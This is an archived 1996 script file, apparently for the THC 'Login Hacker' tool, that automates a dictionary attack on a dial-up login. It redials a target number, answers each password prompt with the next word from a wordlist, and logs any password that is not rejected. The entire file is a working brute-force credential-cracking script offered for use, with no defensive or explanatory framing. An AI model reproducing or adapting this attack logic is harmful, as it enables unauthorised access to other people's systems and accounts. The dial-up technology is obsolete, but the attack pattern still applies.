home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / THC-LH10.ZIP / LH&SCAVE.TXT < prev    next >
Text File  |  1996-03-19  |  2KB  |  103 lines
  1. #DEFINE
  2. PHONE_NR=,
  3. LOGFILE=lh&scave.log
  4. DIC(1)=d:\project\hack\word\badpws.dic
  5. ; specify above the correct path to your dictionary
  6.  
  7. #NOCARRIER
  8. IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
  9. LOG(Carrier lost on $DATE at $TIME)
  10. LOG()
  11. GOTO(#START)
  12.  
  13. #START
  14. SET S_TMP=UNDEFINE
  15. ; if you got a device which can take the line off/on hook then uncomment
  16. ; the following line :
  17. ;SET S_TMP=DEFINE
  18.  
  19. HANGUP
  20. LOG_SESSION_ON
  21. SET STRING2=
  22. IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
  23. IF S_TMP=UNDEFINE THEN SEND(AT H1)
  24. EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
  25. ; remember to change the target number in this scavenger dialer script
  26.  
  27. :111
  28. SEND(ATD)
  29. SET D_TMP=0
  30.  
  31. :112
  32. WAIT(1)
  33. INC(D_TMP)
  34. IF D_TMP>50 THEN GOTO(99)
  35. CHECK4CARRIER(112)
  36. ; smart carrier connect check!
  37. ; if no carrier present goto 99, if carrier then continue and set
  38. ; "successfuly connected" internal variable to true (for carrier lost checks)
  39. SEND()
  40. ; sends a return after connect
  41.  
  42. :1
  43. WAIT(1)
  44. IF STRING2~assw THEN GOTO(2)
  45. GOTO(1)
  46.  
  47. :2
  48. SEND_NEXT_DIC(1)
  49. WAIT(2)
  50. IF STRING2~ncorr THEN GOTO(3)
  51. GOTO(50)
  52.  
  53. :3
  54. SET STRING2=
  55.  
  56. :4
  57. WAIT(1)
  58. IF STRING2~assw THEN GOTO(5)
  59. GOTO(4)
  60.  
  61. :5
  62. SEND_NEXT_DIC(1)
  63. WAIT(2)
  64. IF STRING2~ncorr THEN GOTO(6)
  65. GOTO(50)
  66.  
  67. :6
  68. SET STRING2=
  69.  
  70. :7
  71. WAIT(1)
  72. IF STRING2~assw THEN GOTO(8)
  73. GOTO(7)
  74.  
  75. :8
  76. SEND_NEXT_DIC(1)
  77. WAIT4STRING(10,,1,GOTO(50),ncorr)
  78. GOTO(99)
  79.  
  80. :50
  81. BEEP
  82. BEEP
  83. BEEP
  84. LOG(-------------------------------------------------------------------------)
  85. LOG($DATE $TIME)
  86. LOG()
  87. LOG(PASSWORD: $DIC(1))
  88. LOG()
  89. GOTO(150)
  90.  
  91. :99
  92. CHECK4CARRIER(OFF)
  93. IF S_TMP=UNDEFINE THEN GOTO(#START)
  94. EXECUTE(scavenge.exe /s rebreak.scr)
  95. ; make the rebreak script to rebreak number and redial target
  96. GOTO(111)
  97.  
  98. :150
  99. IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
  100. GOTO(#END)
  101.  
  102. #END
  103.